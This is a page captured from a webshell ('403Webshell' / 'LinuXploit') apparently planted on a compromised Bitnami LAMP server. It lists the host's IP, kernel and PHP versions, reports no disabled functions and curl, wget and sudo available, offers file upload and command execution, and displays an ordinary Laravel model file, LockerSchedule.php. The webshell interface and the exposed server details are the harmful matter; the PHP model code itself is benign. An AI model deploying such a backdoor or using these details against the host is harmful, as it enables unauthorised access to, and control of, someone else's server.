403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Models/LockerSchedule.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class LockerSchedule extends Model
{   
    protected $casts = [
        'start_time' => 'datetime:H:i',
        'end_time' => 'datetime:H:i',
    ];

    protected $appends = [
    	'type_name',
    ];

    protected $fillable = [
        'type_id',
        'start_time',
        'end_time',
        'date',
        'day',
    ];

    //Free time types
    const WEEKLY = 1;
    const SPECIAL_DAY = 2;

    //Cut off time for 24hours outlet
    const TWENTY_FOUR_HOUR_CUT_OFF_TIME = '8:00';

    const RESERVED_MINUTES_LIMIT = 1440;

    public const TYPES = [
        self::WEEKLY => "Weekly",
        self::SPECIAL_DAY => "Special day",
    ];

    //  accessor
    public function getTypeNameAttribute()
    {   
        return self::TYPES[$this->attributes['type_id']] ?? 'N/A';
    }

    //  relationship
    public function locker()
    {
        return $this->belongsTo('App\Models\Locker', 'locker_id');
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit